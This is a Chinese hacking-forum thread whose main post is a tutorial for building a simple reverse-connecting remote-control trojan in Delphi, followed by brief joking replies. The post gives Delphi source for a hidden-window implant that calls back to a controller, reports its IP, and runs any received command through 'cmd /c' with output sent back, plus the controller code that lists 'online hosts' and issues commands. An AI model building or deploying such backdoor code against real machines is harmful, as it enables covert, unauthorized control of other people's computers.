请选择 进入手机版 | 继续访问电脑版

第八军团

 找回密码
 立即注册
查看: 297|回复: 7

DELPHI黑客编程-简单远控原理实现

[复制链接]

240

主题

2147

帖子

3万

积分

上校

Rank: 11

积分
33182

活跃成员奖在线达人奖军团元老奖壕气冲天奖灌水达人奖

发表于 2020-9-17 13:01:50 | 显示全部楼层 |阅读模式
前言
通过前面两节的内容相信大家已经对后门原理有了基本的概念,并了解了socket编程和进程通信方面的知识。但有小伙伴反应说这种没有界面的后门对于小白使用起来很不方便,那本节将给大家带来简单界面的远控demo实现,正如大家知道的delphi做界面开发是很方便的,并且有很多好用又简单的控件可以使用,与之前两节相比可视化程度要高很多。那本节就主要带大家体验一下delphi可视化的远控demo实现。
一、远控原理
远控与后门的功能类似,其实现在来说远控木马和后门的区别已经不大了,在早年间,后门一般都是偏重隐藏,而木马一般偏重功能全面。现在基本上木马后门的界限已经很模糊了。
本节要实现的是一个反弹性的远控,分为被控端(server)和控制端(client)两部分。控制端程序client监听本地端口,被控端server向控制端client发起连接,控制端client接受连接后记录被控端ip地址,并选择要控制的ip发送控制指令。
出于原理演示,我们就用最简单的两个socket来实现网络连接和控制,被控端和控制端互相作为连接的发起方和接收方。说起来很绕,下面看图就很清晰了:

基本原理就是这样了,下面看下功能。
二、远控简单功能
仅为演示,功能就简化下命令执行。被控端还是要隐藏窗体,这个隐藏窗体和之前的后门可是不一样的,之前后门是创建的“Console Application”,这次我们创建的是“Application”,隐藏的方式也就不一样了,需要在创建窗体后设置窗体显示参数:
  1. Application.ShowMainForm := False;
复制代码
这样窗体就不会显示出来了。
三、远控实现原理
这回就要分两部分说了,一个是被控端一个是控制端:
(一)、被控端server
1、设置控制端client连接地址和端口,并连接控制端client;
2、被控端server发送本机ip地址给控制端client;
3、开启本地socket监听端口等待控制端的指令,收到执行就创建进程执行指令;
4、将执行结果作为回显发送给控制端。
(二)、控制端client
1、开启本地socket监听端口等待被控端连接并接收被控端ip地址;
2、当选择了被控端和要发送的控制指令后,连接被控端地址并发送控制指令;
3、当被控端执行完指令后会把结果回传回来,接收到回显后在界面显示。
四、代码实现
下面看看具体代码:
(一)、被控端server
与之前开发略有不同,之前是直接上代码,这回我们体验下图形化编程的便捷,拉一个窗体出来,拖几个我们要使用的控件上来:

如图,一共5个控件,功能分别是获得本机ip、定时运行、socket客户端(用来连接控制端,并发送信息)、socket服务端(用来开启本地监听端口,接收控制指令)、存储命令执行回显信息
有了控件接下来就是编写代码啦
1、设置控制端client连接地址和端口,并连接控制端client;
  1. //定时循环执行连接控制端
  2. procedure TForm1.Timer1Timer(Sender: TObject);
  3. begin
  4.   cs1.Active := false;
  5.   cs1.Address:='127.0.0.1';
  6.   cs1.Port := 9904;
  7.   cs1.Active := True;
  8. end;
复制代码
2、被控端server发送本机ip地址给控制端client;
  1. //发送格式是Myip加本机ip地址,这是一个小技巧,用Myip做标识,控制端接收到后会取后面的作为ip地址
  2. procedure TForm1.cs1Connect(Sender: TObject; Socket: TCustomWinSocket);
  3. begin
  4.   timer1.Enabled := False;
  5.   cs1.Socket.SendText('Myip'+myip1.LocalIP);
  6.   end;
复制代码
3、开启本地socket监听端口等待控制端的指令,收到执行就创建进程执行指令;
  1. //进程通信还是使用最早的匿名管道方式
  2. //接收到指令后,加'cmd /c'拼接成完整命令
  3. Remotecmd:='cmd /c'+socket.ReceiveText;

  4. lsa.nLength := SizeOf(SECURITY_ATTRIBUTES);
  5. lsa.lpSecurityDescriptor := nil;
  6. lsa.bInheritHandle := True;

  7. //创建两个匿名管道用来读写信息
  8. if CreatePipe(Readniming,Writeniming,@lsa,0) = false then
  9. begin
  10. cs1.Socket.SendText('不能创建匿名管道');
  11. Freemem(ph);
  12. Freemem(fname);
  13. Exit;
  14. end;

  15. //创建进程,执行cmd命令
  16. StrPcopy(fname,Remotecmd);
  17.     if CreateProcess(nil,fname,nil,nil,True,0,nil,nil,si,pi) = False then
  18.     begin
  19.     cs1.socket.SendText('不能创建进程');
  20.     Freemem(ph);
  21.     Freemem(fname);
  22.     Exit;
  23.     end;
  24.     While(true) do
  25.     begin
  26.     if not PeekNamedPipe(Readniming,ph,1,@cchReadBuffer,nil,nil)  Then break;
  27.     If cchReadbuffer <> 0 then
  28.     begin
  29.     if Readfile(Readniming,ph^,4096,cchReadBuffer,nil) = False Then  break;
  30.     ph[cchReadbuffer]:=Chr(0);
  31.     Memo1.Lines.Add(ph); //命令执行结果保存在Memo1里
  32.     end
  33.     else
  34.     if (WaitForSingleObject(pi.hProcess,0) = WAIT_OBJECT_0) Then break;
  35.     Sleep(500);
  36.     end;
  37.     ph[cchReadBuffer]:=Chr(0);
  38.     Memo1.Lines.Add(ph);
复制代码
4、将执行结果作为回显发送给控制端。
  1. //发送回显给控制端
  2.     cs1.socket.Sendtext(memo1.Text);
复制代码
(二)、控制端client
老规矩,拉窗体、开控件……

如上所示一共9个控件。功能看界面也应该都可以理解了。我就不多说了。
还是老规矩继续“窗体、控件、代码”中的第三步“撸代码”

1、开启本地socket监听端口等待被控端连接并接收被控端ip地址;
设置监听端口就不用代码了,直接如下勾选填写内容即可:

接收被控端的ip地址代码如下,看到用标识标记的小技巧了么?
  1. procedure TForm1.ss1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
  2. var
  3. ip:string;
  4. begin
  5.   ip:=socket.ReceiveText;
  6.   If Pos('Myip',ip)<>0 then
  7.   begin
  8.   showmessage('有主机上线!');
  9.   ip:=Copy(ip,pos('p',ip)+1,length(ip)-4);
  10.   listbox1.Items.Add(ip);
  11.   end
  12.   else
  13.   memo1.Lines.Add(ip);
  14.   end;
复制代码
没错,就是被控端所有的信息都是通过这个socket发过来的,那么怎么区别是不是ip地址呢,技术通过'Myip'作为标识来区别,如果是ip地址就显示在左边“上线主机”的框框里,如果不是ip那就应该是命令回显信息了,就显示在“命令回显窗口”中。
2、当选择了被控端和要发送的控制指令后,连接被控端地址并发送控制指令;
发送控制指令也很简单,首先是发给谁,如果有多个上线主机的话你不说发给谁程序是不会知道的,所以就要先获取被点选的被控端ip,然后在“要执行的命令”框里输入cmd命令,然后点击“执行”就会执行如下代码:

  1. procedure TForm1.Button1Click(Sender: TObject);
  2. var
  3. i:integer;
  4. ip:string;
  5. begin
  6.    i:=0;
  7.    While i < listbox1.items.Count do
  8.    if listbox1.Selected[i] then //获取点选的被控端ip
  9.    begin
  10.    ip := Listbox1.Items[i];
  11.    cs1.Address := Trim(ip);
  12.    cs1.Port := 9903; //设置被控端的连接端口
  13.    cs1.Active := True;  //开始连接
  14.    break;
  15.    end
  16.    else
  17.    i:=i+1;
  18.    cs1.Socket.SendText(edit1.Text); //发送指令给被控端
  19. end;
复制代码
3、当被控端执行完指令后会把结果回传回来,接收到回显后在界面显示。
这部分在上面已经讲过了,就是那个非'Myip'标识的信息都会在这里显示出来。

噹!噹!噹!噹!程序编写完成。delphi的图形化编程在窗体程序开发方面是不是很方便快捷呢。
五、使用方法
1、先打开控制端client程序

2、打开被控端server程序
当然被控端server程序这里是没有界面的,不过在控制端会有主机上线。

3、点选被控端并执行命令
可以看到回显正常,没什么问题。

这个功能比较简单,并且有一个问题,就是使用了两个socket互为服务端和客户端,这样做是有一个缺点的,就是被控机和控制机的ip地址必须可互相直连,简单来说就是或者是同一个内网,或者是都是公网ip。其实是可以用一个socket来进行收发信息的,这样会方便很多,并可以实现被控端在内网也可以连接上进行控制,有机会下次再讲其他更多功能的demo演示。
六、代码下载
游客,如果您要查看本帖隐藏内容请回复

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

240

主题

2147

帖子

3万

积分

上校

Rank: 11

积分
33182

活跃成员奖在线达人奖军团元老奖壕气冲天奖灌水达人奖

 楼主| 发表于 2020-9-17 14:32:16 | 显示全部楼层
沙发自己坐
回复

使用道具 举报

129

主题

1161

帖子

4万

积分

上校

Rank: 11

积分
40332

灌水达人奖军团元老奖

发表于 2020-9-17 14:35:14 | 显示全部楼层
原来说的是这个的教程啊,一看就是搬运的,啧啧
回复

使用道具 举报

240

主题

2147

帖子

3万

积分

上校

Rank: 11

积分
33182

活跃成员奖在线达人奖军团元老奖壕气冲天奖灌水达人奖

 楼主| 发表于 2020-9-17 14:38:57 | 显示全部楼层
程小诺 发表于 2020-9-17 14:35
原来说的是这个的教程啊,一看就是搬运的,啧啧

看看咱这排版,咱这配图,咱这代码
哎~不能比
回复

使用道具 举报

129

主题

1161

帖子

4万

积分

上校

Rank: 11

积分
40332

灌水达人奖军团元老奖

发表于 2020-9-17 14:50:59 | 显示全部楼层
一萬 发表于 2020-9-17 14:38
看看咱这排版,咱这配图,咱这代码
哎~不能比

臭不要脸,自卖自夸不说还自己抢沙发
回复

使用道具 举报

240

主题

2147

帖子

3万

积分

上校

Rank: 11

积分
33182

活跃成员奖在线达人奖军团元老奖壕气冲天奖灌水达人奖

 楼主| 发表于 2020-9-17 15:03:52 | 显示全部楼层
程小诺 发表于 2020-9-17 14:50
臭不要脸,自卖自夸不说还自己抢沙发

回复

使用道具 举报

129

主题

1161

帖子

4万

积分

上校

Rank: 11

积分
40332

灌水达人奖军团元老奖

发表于 2020-9-17 15:31:32 | 显示全部楼层

。。。。。。。。。。。。。。。。
回复

使用道具 举报

1

主题

14

帖子

122

积分

列兵

Rank: 2

积分
122
发表于 2020-9-26 00:17:50 | 显示全部楼层
看看代码
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|第八军团

GMT+8, 2021-2-26 08:27 , Processed in 0.045759 second(s), 21 queries .

Powered by Discuz!

Copyright © 1999-2021, CnHack.Net All Rights Reserved.

快速回复 返回顶部 返回列表